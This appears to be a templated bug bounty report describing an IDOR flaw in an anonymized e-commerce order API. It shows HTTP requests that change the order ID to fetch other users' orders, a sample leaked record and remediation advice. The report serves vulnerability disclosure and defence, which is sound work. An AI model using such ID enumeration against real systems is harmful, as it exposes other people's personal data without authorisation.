🐞 Bug Bounty Report

📌 Title

Insecure Direct Object Reference (IDOR) in API Endpoint Leading to Unauthorized Access to User Data

---

📜 Summary

An Insecure Direct Object Reference (IDOR) vulnerability exists in an API endpoint where object identifiers (e.g., user ID, order ID) are exposed and can be manipulated.

By modifying these identifiers, an authenticated attacker can access sensitive data belonging to other users without proper authorization checks.

🎯 Scope

- Target: E-Commerce Web Application (Anonymized)
- Endpoint: /api/orders/{order_id}
- Method: GET
- Parameter: order_id (Path parameter)

⚠️ Severity

High (CVSS ~8.2)

🧠 Vulnerability Type

- IDOR / Broken Access Control (CWE-639 / CWE-284)

🔍 Description

The application relies on user-supplied object references (e.g., order IDs) without verifying whether the requesting user is authorized to access the requested resource.

The backend fails to enforce proper access control checks, allowing attackers to iterate through object IDs and retrieve sensitive data of other users.

🔁 Steps to Reproduce

1. Login as a Normal User

---

2. Capture Legitimate Request

```
GET /api/orders/10245 HTTP/1.1
Host: target.com
Authorization: Bearer <user_token>
```

---

3. Modify Object Identifier

```
GET /api/orders/10246 HTTP/1.1
Host: target.com
Authorization: Bearer <user_token>
```

---

4. Observe Response

- Server returns order details of another user
- No authorization error is triggered

💥 Proof of Concept (PoC)

🔹 Unauthorized Data Access

```
GET /api/orders/10247 HTTP/1.1
Host: target.com
Authorization: Bearer <attacker_token>
```

🔹 Example Response

```
{
  "order_id": 10247,
  "user_id": 7782,
  "email": "victim@example.com",
  "address": "Sensitive Address",
  "payment_status": "Paid"
}
```

🔹 Result

- Access to another user's personal and order data
- Confirms IDOR vulnerability

📸 Impact

An attacker can:

- Access sensitive user data (PII)
- View other users' order history
- Potentially modify or cancel orders (if write endpoints are affected)
- Perform large-scale data scraping

🚨 Real-World Risk

- Privacy violations
- Financial fraud
- Regulatory non-compliance (GDPR, etc.)

- Loss of customer trust

🧪 Tools Used

- Burp Suite (request interception & modification)
- Browser DevTools
- Manual enumeration

🛠️ Remediation

✅ Enforce Server-Side Authorization

- Validate that the authenticated user owns the requested resource

Example (Concept):

```
if order.user_id != current_user.id:
    return "Unauthorized", 403
```

✅ Use Indirect References

- Replace sequential IDs with UUIDs or hashed identifiers

✅ Implement Access Control Middleware

- Centralize authorization logic across all endpoints

✅ Logging & Monitoring

- Detect abnormal access patterns (ID enumeration attempts)

🔐 References

- OWASP Top 10 – Broken Access Control
- CWE-639: Authorization Bypass Through User-Controlled Key

⏱️ Timeline (Example)

Date	Event
Day 0	Vulnerability discovered
Day 1	Report submitted
Day 3	Triaged

Date	Event
Day 7	Fixed

👤 Reporter

Security Researcher (Anonymized)

🧩 Additional Notes

- Testing performed in a controlled environment
- No data was modified or deleted
- Only minimal requests were used to verify the issue